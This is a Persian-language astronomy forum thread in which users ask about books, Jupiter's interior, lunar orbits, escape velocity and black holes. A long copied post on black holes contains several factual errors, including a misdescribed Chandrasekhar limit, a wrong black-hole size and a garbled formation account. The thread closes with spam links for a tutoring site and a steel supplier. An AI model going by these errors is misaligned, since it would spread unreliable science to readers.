سلام،میخواستم یه کتاب خوب درحوزه نجوم و پدیده های نجومی و اصطلاحات نجومی بهم معرفی کنید .اگه ممکنه انتشاراتش رو هم بگید.ممنون

سلام به شما

کتاب " نجوم به زبان ساده " از انتشارات گیتاشناسی کتاب خوبی است . اگر چاپ جدیدش رو تهیه کنید اطلاعات به روز تری هم دارد .

[راه اسمان]

سلام به شما

کتاب " نجوم به زبان ساده " از انتشارات گیتاشناسی کتاب خوبی است . اگر چاپ جدیدش رو تهیه کنید اطلاعات به روز تری هم دارد .
از راهنماییتون ممنونم.

[melika-m]

سلام دوستان.
ببخشید یه سوال داشتم:
مشتری کلا گازیه یا هسته جامد هم داره؟!

[skynight]

سلام دوستان.
ببخشید یه سوال داشتم:
مشتری کلا گازیه یا هسته جامد هم داره؟!

ترکیبات شیمیایی مشتری مشابه خورشید است عمدتا هلیم وهیدروژن در اعماق سیاره، فشار و دما بسیار بالا می رود، به گونه ای که هیدروژن گازی در اعماق به مایع تبدیل می شود. تقریبا در یک سوم راه به سمت مرکز، هیدروژن فلزی به وجود می آید که رسانای جریان الکتریکی است. در این لایه الکتریکی، میدان مغناطیسی قوی مشتری با جریان های الکتریکی که چرخش سریع سیاره آنها را به وجود آورده است، جمع می شود. در مرکز، احتمالا فشار زیاد موجب به وجود آمدن هسته جامدی از سنگ و یخ به ابعاد زمین شده است. سیارات گازی دارای هسته ای از جنس صخره سپس لایه ای از هیدروژن فلزی مایع وسپس اقیانوسی از هیدروژن وهلیم مایع وآخر از همه جوی تشکیل شده از هیدروژن وهلیم هستند.

[programmer1]

سلام اولین سوال من در این فروم،
1- ماه سرعت اولیه برای حرکت به دور زمین رو از کجا آورده؟ چون اگه ثابت باشه که سقوط میکنه؟
2- اگر جسمی رو با سرعت بالا بدون زاویه به صورت عمود بفرستیم بالا طوری که از جو خارج بشه مثلا فرض کنید ماه رو از روی زمین مستقیم پرت کنیم به جایی که الان هست؟ آیا سقوط میکنه داخل دوباره؟(دقت کنید از محدوده گرانشی زمین خارج نشه) منظورم این هست که برای در مدار قرارگرفتن یک شی حتما باید به صورت زاویه ای نسبت به زمین پرتاب بشه؟
3- اگر فرض کنیم که خورشید ناپدید بشه، زمین در راستایی مماس بر محور چرخشش به صورت مستقیم حرکت میکنه؟ آیا با نزدیک شدن زمین به ستاره ای دیگه در میدان گرانشی اون قرار میگیره؟ اگر به صورت مستقیم بدون زاویه به سمتش حرکت کنه امکان داره در مداره قرار نگیره و مستقیم بیفته داخلش؟
کلا این قضیه زاویه رو مشکل پیدا کردم :)

[programmer1]

سلام،
اولین سوال من در این فروم.
1- میدونیم اگر ماه به دور زمین حرکت نکنه نیروی گریز از مرکزش صفر میشه و تحت گرانش زمین به سمتش سقوط میکنه. ماه سرعت ابتدایی چرخش به دور زمین رو از کجا آورده؟
2- اگه برفرض محال خورشید حذف بشه زمین 8 دقیقه بعدش در یک خط مستقیم به حرکتش ادامه میده اگه نزدیک ستاره دیگه ای بشه امکان داره در مدارش قرار بگیره؟ نوع نزدیک شدنش مهمه که مثلا زاویه داشته باشه تا در مدارش قرار بگیره؟ ممکنه در حالتی به سمتش بره که به جای اینکه در مدارش قرار بگیره به داخلش سقوط کنه؟
3- وقتی جسمی رو از سطح زمین به بیرون پرتاب میکنیم زاویه پرتابش هم مهمه تا در مدار قرار بگیره یا همین که از جو خارج بشه کافیه؟ مثلا فرض کنید ماه رو از روی زمین 90 درجه پرت کنیم به جایی که الان هست سقوط میکنه یا دور زمین میچرخه؟

[Ehsan]

سلام،
اولین سوال من در این فروم.
1- میدونیم اگر ماه به دور زمین حرکت نکنه نیروی گریز از مرکزش صفر میشه و تحت گرانش زمین به سمتش سقوط میکنه. ماه سرعت ابتدایی چرخش به دور زمین رو از کجا آورده؟
2- اگه برفرض محال خورشید حذف بشه زمین 8 دقیقه بعدش در یک خط مستقیم به حرکتش ادامه میده اگه نزدیک ستاره دیگه ای بشه امکان داره در مدارش قرار بگیره؟ نوع نزدیک شدنش مهمه که مثلا زاویه داشته باشه تا در مدارش قرار بگیره؟ ممکنه در حالتی به سمتش بره که به جای اینکه در مدارش قرار بگیره به داخلش سقوط کنه؟
3- وقتی جسمی رو از سطح زمین به بیرون پرتاب میکنیم زاویه پرتابش هم مهمه تا در مدار قرار بگیره یا همین که از جو خارج بشه کافیه؟ مثلا فرض کنید ماه رو از روی زمین 90 درجه پرت کنیم به جایی که الان هست سقوط میکنه یا دور زمین میچرخه؟

سلام

1-سرعت ابتدایی ماه هنگام تشکیل به دور زمین به دست اومده، ابری که ماه ازش تشکیل شده ابتدائا داشته دور زمین می‌چرخیده (خود این تکانه زاویه‌ای به دلیلِ اختلاف سرعتِ چرخش ابرِ حولِ زمینِ اولیه در قسمت نزدیک به خورشید و دور به خورشید شکل گرفته، یعنی قسمتی که نزدیک به خورشید بوده سریعتر از قسمتی که دور از خورشید بوده به دور خورشید می‌گشته همین باعث شده این ابر دور زمین بچرخه و ماه که از این ابر تشکیل شده هم دور زمین بچرخه)

2-بله امکان داره اما فقط در شرایطی که ستاره تنها نباشه و در منظومه‌ای پیچیده قرار داشته باشه که بتونه زمین رو دور خودش گیر بندازه (به لحاظ تئوری جسمی که با سرعت غیر صفر (در فاصله‌ی بسیار دور) به جرم بزرگتری نزدیک بشه انرژیش مثبته و هیچ وقت گیر اون جسم نمی‌افته مگر این که این که طوری مستقیم به سمتش حرکت کنه که بهش برخورد کنه، که خُب به این نمی‌گن گیر افتادن!

3-زاویه مهمه، اگه تکانه زاویه ای وجود نداشته باشه ماه به روی زمین سقوط می‌کنه، یک جسم رو اگر با سرعت کمتر از سرعت فرار عمودی به بالا پرتاب کنید بالاخره به زمین برمی‌گرده چه از جو خارج بشه چه نشه.

[ramin2]

سلام یه سوالی هست چند روزه گیجم کرده می خواستم بپرسم که سرعت گریز از مدار در زمین برابر 11/2کیلومتر بر ثانیه است و این یعنی این که برای رفتن به فضا (خارج شدن از مدار زمین )نیاز به سرعت 11/2کیلومتر بر ثانیه است?یعنی موشک هایی که به فضا میرن سرعتشان بیشتر از این حده?

[a00b]

پس از آنکه مکانیک نیوتنی تحت عنوان مکانیک آسمانی در شناخت جهان مورد استفاده قرار گرفت، یکی از موارد مورد توجه
سیاه چاله ها بود. نخستین بار در سال 178 جان میشل طی مقاله ای سرعت فرار را با اطلاعات آن روز محاسبه کرد و اظهار داشت
اگر گرانش چنان قوی باشد که سرعت فرار در آنجا بیش از سرعت نور باشد، نور نمی تواند از آنجا بگریزد. البته در آنزمان بطور تقریبی
سرعت نور را می داننستد، ولی حد سرعت، سرعت نور نبود. زیرا در مکانیک نیوتنی سرعت نامتناهی قابل قبول بود.
در سال 1796 لاپلاس همان نظریه ی جان میچل را دو باره مطرح کرد. در اواخر قرن نوزدهم سرعت نور کاملاً معلوم و اندازه گیری شد.
در سال 1915 انیشتین نظریه نسبیت عام را مطرح کرد و نشان داد که گرانش روی روی اثر دارد. چند ماه بعد کارل شوارتسشیلد با
حل معادله میدان انیشتین برای یک جرم نقطه ای، اظهار داشت از نظر تئوری سیاه چاله ها وجود دارند. شعاعی که نور نمی تواند از
آنجا خارج شود به نام شعاع شوارتسشیلد شناخته می شود و از رابطه ی زیر به دست می آید. چند ماه بعد از شوارتسشیلد یکی از
دانشجویان لورنتس به نام ژوهانس دروست، به همان نتایج شوارتسشیلد رسید.
در 1920 چاندرازخار که از شاگردان ادینگتون بود با استفاده از نسبیت خاص نشان داد که اگر سرعت فرار بخواهد بیش از سرعت نور
باشد، جرم جسم باید حداقل 1.44 برابر جرم خ.رشید باشد. این عدد امروزه به عنوان حد چاندرازخار شناخته می شود. ادینگتون با
دست آورد وی مخالف کرد و آن را نا درست خواند. در 1939 اپنهایمر و اسنادر پیش بینی کردند که یک ستاره پر جرم در اثر گرانش
فرو می ریزد و به سیاه چاله تبدیل می شود. همزمان با آغاز جنگ جهانی دوم، مسئله سیاه چاله ها به فراموشی سپرده شد. در دهه ی
1960 دوباره نظریه سیاه چاله ها و راه حل شوارتسشیلد و فروپاشی گرانشی مورد توجه فیزیکدانان قرار گرفت.
در سال 1971 استفن هاوکینگ عنوان کرد که این واقعه بوجود آمدن سیاهچاله‌ها هنگامی که جهان نخستین انفجار بزرگ خود را آغاز
کرد اتفاق افتاده است. هنگامی که تمامی مواد تشکیل دهنده جهان منفجر شد، مقداری از این مواد آن چنان به هم فشرده شدند
که تبدیل به سیاهچاله گشتند. وزن برخی از این سیاهچاله‌ها ممکن است به اندازه وزن یک سیاره کوچک و یا از آن کمتر باشد و وی
آنها را سیاهچاله کوچک نامید.

سیاهچاله
http://uupload.ir/files/9etb_capture1.png

نگاره‌ای تخیلی از صفحه تجمع پلاسمای داغ بر گِرد یک سیاهچاله (برگرفته از ناسا).
سیاهچاله‌ها اجرام فضایی دارای شعاع بسیار کم (در حدود یک دهم شعاع زمین) و جرم بسیار زیاد می‌‌باشند (بیش از ۱.۴ برابر جرم
خورشید). یکی از خصوصیات آن‌ها گرانش زیاد آن‌ها است که حتی نور را هم در خود جذب می‌‌کند.(این برداشت که نور جذب سیاه
چاله‌ها می‌شود کاملاً غلط است چون در نظریه نسبیت عام اینشتین گفته شده است که فضا-زمان به علت وجود ماده انحنا پیدا
می‌کند که در سیاه چاله‌ها حتی انحنا باعث ناپیوستگی در فضا زمان می‌شود و چون نور در این فضا-زمان حرکت می‌کند به ناچار وارد
سیاه چاله می‌شود) گفتنی است این سیاهچاله‌ها از فرو پاشی (Collapse) ستارهای نوترونی و پس از آنکه هسته اتمها در آن به
قدری بزرگ شدند که نیروی گرانش دیگر نتواند انرژی لازم برای جوش هسته‌ای را در آنها تأمین کند به وجود می‌‌آیند.
سیاهچاله‌ها جذاب‌ترین و اسرارآمیزترین اشیاء فضایی هستند. مهم‌ترین یافته‌های اخترشناسی سالهای ۱۹۶۰ تپ‌اخترها و اخترنماها
هستند. تپ اخترها منابع رادیویی و (حداقل در یک مورد) منبع نوری تپنده منظم هستند. اختر نماها منابع نوری و رادیویی بسیار
شدیدی هستند که ظاهراً از زمین فاصله زیادی دارند. کشف تپ اخترها و اخترنماها بیشتر در نتیجه پیشترفتهای اخترشناسی رادیویی
تحقق یافت که در سالهای ۱۹۷۰ منجر به جستجوی طبقه تازه‌ای از اشیای آسمانی شد که عجیب‌ترین پدیده‌های فیزیکی در جهانند.
این پدیده ها، سیاهچاله‌ نامیده می‌‌شوند. آنها را از این رو به این نام خوانده‌اند که بی نورند و چون یک جاروبرقی اختری، ماده و انرژی
را از فضا می‌‌مکند. اخترفیزیکدانان، سیاهچاله‌ها را که بسیار کوچکند، آخرین مرحله تاریخ رندگی ستارگان بسیار بزرگ می‌‌دانند.
دانشمندان، سیاهچاله‌ها را که بر اثر نیروی گرانش خودشان فرومی‌پاشند، از نظریه نسبیت عمومی آلبرت اینشتین استنتاج کرده اند.


نظریه اینشتین در نظریه جاذبه (گرانش) نیوتون کاملاً تجدید نظر کرده است. اگر یک سیاهچاله‌ در فضای خارجی کشف شود. این
رویدادها برای فیزیک و اختر‌شناسی با اهمیت خواهد بود. فیزیک کلاسیک نمی‌تواند سیاهچاله‌ را تبیین کند. اگر یک سیاهچاله‌ وجود
داشته باشد، نسبیت عمومی به طور واقعی مورد تایید قرار خواهند گرفت.
kamyararyana می نویسد "فرض کنید سوار بر فضا پیمای خود به طرف سیاهچاله ای که میلیون برابر خورشید جرم دارد و در
مرکز کهکشان ما قرار دارد ،حرکت می کنید .(واقعا جای بحث دارد که آیا در مرکز کهکشان ما سیاهچاله وجود داشته باشد
،فرض کنید چنین چیزی باشد.) در فاصله بسیار دوری از سیاهچاله موشک خود را خاموش کنید.چه اتفاقی می افتد؟ اوایل شما هیچ
نیروی گرانشی احساس نمی کنید،ز یرا در حال سقوط آزاد هستید.همه اعضای بدن شما و فضا پیما به طور یکسانی کشیده می شوند.
به خاطر همین احساس بی وزنی می کنید. سیاهچاله ها را از این رو به این نام خوانده اند که بی نورندو چون یک جا روبرقی اختری،
ماده و انرژی را از فضا می مکند ، در سیاهچاله جاذبه آنچنان زیاد است که نور نمی تواند فرار کند. اختر فیزیکدانان، سیاهچاله ها را
که بسیار کوچکند، آخرین مرحله تاریخ رندگی ستارگان بسیار بزرگ می دانند. وجود سیاهچاله ها قبل از آنکه توسط کیهان شناسان به
ثبوت برسد توسط فیزیکدانان بوسیله تئوری نسبیت عام انشتین پیش بینی شد! فیزیکدانان توصیف نسبتاً جامعی از سیاهچاله ها
به دست داده اند. به عقیده دکتر جان ویلر و دکتر رئو روفینی از دانشگاه پرینستون سیاهچاله ها اندازه و شکلی به مفهوم قراردادی آن
ندارند اما آنها در محدوده یک قطر 15 کیلومتری عمل می کنند. سیاهچاله ها جرمهای متفاوتی بین جرم خورشید و صد میلیون برابر
جرم خورشید دارند. حفره های سیاه مثل گرداب عمل می کنند. هر جرم با انرژی رگردانی که به یک سیاهچاله نزدیک شود (در داخل
فاصله معینی که افق آن خوانده می شود) بطور مقاومت ناپدیری به درون گرداب، که همان سیاهچاله است کشیده می شود. نیروها
ی کشندی شدید درون سیاهچاله ها ماده را در یک سمت می کشد و منبسط می کند و در سمت دیگر می فشرد و خرد می کند و خرد
می کند تا آن که آن ماده به کلی تجزیه و جزفضای خمیده و حفره سیاه شود. در سال 1971 یک دانشمند انگلیسی به نام استفن
هاوکینگ عنوان کرد که این واقعه به وجود آمدن سیاهچاله ها هنگامی که جهان نخستین انفجار بزرگ خود را آغاز کرد اتفاق افتاده
است. هنگامی که تمامی مواد تشکیل دهنده جهان منفجر شد، مقداری از این مواد آن چنان به هم فشرده شدند که تبدیل به
سیاهچاله گشتند. استفان هاوکینگ یکی از بزرگترین فیزیک‌دانان نظری معاصر است، زمینه‌ی پژوهشی اصلی وی کیهان‌شناسی و
گرانش کوانتومی است. از مهم‌ترین دستاوردهای وی مقاله‌ای است که به رابطه‌ی سیاه‌چاله‌ها و قانون‌های ترمودینامیک می‌پردازد.
خواص سیاهچاله ها بسیار عجیب است. زمان و مکان خصوصیات خود را در درون ستاره کاملاً فرو پاشیده ردو بدل می کنند. قوانین
طبیعی شکسته میشوند. هر شی در شرایط عادی اندازه خود را نگه می دارد ولی نمی تواند از عمر فیزیکی بگریزد. در درون سیاهچاله
ها بر اشیا عمری نمی گذرد، ولی مداوماً کوچکتر می شوند. مشاهده گران نمی توانند واقعاً آن را ببیند، زیرا نور مانند شکلهای دیگر

انرژی، تحت تاثیر مکش حفره سیاه است. اگر پدیده ای بطور مثال 15 هزار سال نوری قبل اتفاق افتاده باشد با آنکه پدیده مدتها
پیش پایان یافته برای ما قابل مشاهده است چرا که بدلیل بعد مسافت برای دریافت نورش زمان متناسب با مسافت سپری
میگردد. اما چرا در مورد سیاهچاله ها پدیده های مربوطه قابل مشاهده نیست؟ علت آن است که وقتی ستاره به سیاهچاله تبدیل
می شود، نسبت به ناظران خارج بی درنگ گذشت زمان در آن متوقف می شود. به عقیده دکتر ویلر و دکتر روفینی (علائم و اطلاعات
مربوط به مرحله های بعدی فرو پاشی هرگز نمی گریزند، بلکه در فرو پاشی خود هندسه(زمانی و مکانی) درگیر می شوند.)

[parsasadegh]

سلام من چند تا سوال داشتم:
1-چرا ما همیشه یک طرف ماه را می بینیم؟مگه ماه به دور زمین نمیچرخه؟
2-این راسته که می گن آیندرو میشه از ستاره ها فهمید؟
3-مگه گرانش زمین باعث چرخیدن ماه نمیشه؟پس چرا زمین ماه رو توی خودش نمیکشونه؟

[fatemeh.zar]

سلام من چند تا سوال داشتم:
1-چرا ما همیشه یک طرف ماه را می بینیم؟مگه ماه به دور زمین نمیچرخه؟
2-این راسته که می گن آیندرو میشه از ستاره ها فهمید؟
3-مگه گرانش زمین باعث چرخیدن ماه نمیشه؟پس چرا زمین ماه رو توی خودش نمیکشونه؟

سلام!

1- ماه علاوه بر اینکه به دور زمین می چرخه به دور خودش هم می چرخه. دوره تناوب چرخش ماه به دور خودش و چرخشش به دور زمین با هم برابر هستند و بخاطر همینه که همیشه یک طرف ماه رو به زمین باقی می مونه. :)

3- بخاطر سرعت ماه هست. در واقع زمین داره ماه رو به سمت خودش می کشه. اگر زمین ماه رو جذب نمی کرد، طبق قانون نیوتن ماه باید به همون مسیری که داشته میرفته ادامه می داد؛ یعنی روی یه خط راست حرکت می کرد. اما الان بخاطر جاذبه زمین مسیر ماه تقریبا به یه دایره تبدیل شده. میتونیم اینطوری تصورش کنیم که ماه یکم روی خط راست به جلو حرکت میکنه ولی جاذبه زمین اون رو یکم به زمین نزدیک تر میکنه، دوباره ماه یکم مستقیم میره و دوباره به سمت زمین کشیده میشه و در نهایت اگه این "یکم" ها رو خیلی کوچیک کنیم می بینیم که مدار ماه دایره ای از آب در میاد.

[noori]

سلام من چند تا سوال داشتم:
1-چرا ما همیشه یک طرف ماه را می بینیم؟مگه ماه به دور زمین نمیچرخه؟
2-این راسته که می گن آیندرو میشه از ستاره ها فهمید؟
3-مگه گرانش زمین باعث چرخیدن ماه نمیشه؟پس چرا زمین ماه رو توی خودش نمیکشونه؟

1-دوست خوبمون پاسخ دادن
2-انچه که ما مطالعه میکنیم خصوصیات اجرام اسمانی از دید علمی است.(استرونومی).بررسی اثرات سیارات و ستارگان، با بحث علمی که مورد نظر دانشمندان است تفاوت داره.یعنی نمیشه براش دلایل علمی اورد
3-برای درک بهتر این موضوع یک ازمایش ساده انجام میدیم. نخ رو به دور یک پاکن میبندیم. دستمان را بالای سرمان اورده وبا سرعت شروع به چرخاندن نخ میکنیم.میبینیم پاکن با سرعت میرخه و به زمین نمی افتد.حالا اگر سرعت چرخش کمی کمتر شود ،پاکن دیگه نمیچرخه و می افتد.در مورد ماه هم دقیقا همینطور است.اگر سرعت ماه از مقدار فعلیش کمتر بود باعث میشد ماه به روی زمین سقوط کند
اگر سرعت ماه از این مقدار فعلی بیشتر می بود،ماه از مدارش خارج شده و از زمین دور میشد.
این سرعت به اندازه زمین و ماه و فاصله انها از هم بستگی داره

[A.rahimi]

سلام به همه

دوستان کسی میدونه اگر سرعت ماه به دور زمین با سرعت چرخش به دوردخدش برابر نمیشد چه اتفاقی می افتاد؟؟؟؟؟؟؟

مثلاً گرد نبودن ماه تو جذر و مد اثر محسوس دارد یا نه ...

یا به دلیل وجود حفرات بیشتر سمت دیگرش تغیراتی توی نورش می گذارد یا نه...

[A.rahimi]

سلام به همه

دوستان کسی میدونه اگر سرعت ماه به دور زمین با سرعت چرخش به دوردخدش برابر نمیشد چه اتفاقی می افتاد؟؟؟؟؟؟؟

مثلاً گرد نبودن ماه تو جذر و مد اثر محسوس دارد یا نه ...

یا به دلیل وجود حفرات بیشتر سمت دیگرش تغیراتی توی نورش می گذارد یا نه...

واضح تر بگم کلاً اگه روی ماه ثابت نبود چه اتفاقاتی می تونست به وجود بیاد؟

[Sky_Watcher]

سلام به همه

دوستان کسی میدونه اگر سرعت ماه به دور زمین با سرعت چرخش به دوردخدش برابر نمیشد چه اتفاقی می افتاد؟؟؟؟؟؟؟

مثلاً گرد نبودن ماه تو جذر و مد اثر محسوس دارد یا نه ...

یا به دلیل وجود حفرات بیشتر سمت دیگرش تغیراتی توی نورش می گذارد یا نه...
سلام، تا جایی که بنده میدونم جزر و مد به دلیل وجود ماهه نه به دلیل گرد بودن، در ضمن ماه به دلیل تعادل هیدرواستاتیک به صورت کره در اومده که این طبیعیه.
اگه سرعت چرخش ماه به دور زمین با سرعت گردش به دور خودش برابر نمیشد اونوقت ما از زمین چرخش ماه رو میدیدیم، در ضمن در سمت دیگه ی ماه دریای کمتر و کوچکتری وجود داره که اگر اون روش بیاد سمت ما اونوقت ماه نور بیشتری رو بازتاب میکنه، اما این سمت ماه که الان به سمت ماست به نظر جذاب تره:wink:

[Mohammad gr]

درباره سوال دومت : علم یک چیز ثابت شده است و با روش علمی جلو میره و تو حرف کسی میگه در فلان روز فلان اتفاق برات می افته(البته اگه از وضعیت علمی آنها نگه)رو نمیتونی نه ردش کنی نه اثباتش کنی چه از قهوه چه از روی ستاره گفته باشه (ولی اگه یک چیزی مشاهده شده باشد یا یک پیش بینی علمی شده باشد این موضوع متفاوت است.)

[علی عزیزی]

اسلام یک سوال چالشی داشتم !اگر جسمی با سرعت نور یا بیشتر! (مثلا یک شهاب سنگ عظیم با سرعت هزاران برابر نور ) از کنار زمین عبور کند تکنولوژی بشری میتواند اونا ثبت کند یا حتی احساسش کند?

[امیر نجوم]

سلام
میشه کتاب های مناسب المپیاد نجوم را به من معرفی کنید؟

[mitra11]

سایتی میشناسید که به صورت تدریس آنلاین (https://alocom.co/) نجوم رو درس بده؟؟

[stainless steel]

امروزه از ورق استیل 304 مات (https://felez.co/page/steel-304) نیز در تولید قطعات موتورهای جت استفاده گسترده می شود. در تولید قطعات بدنه فضا پیما و قطعات درونی فضاپیماها استنلس استیل نقش مهمی را ایفا می کند.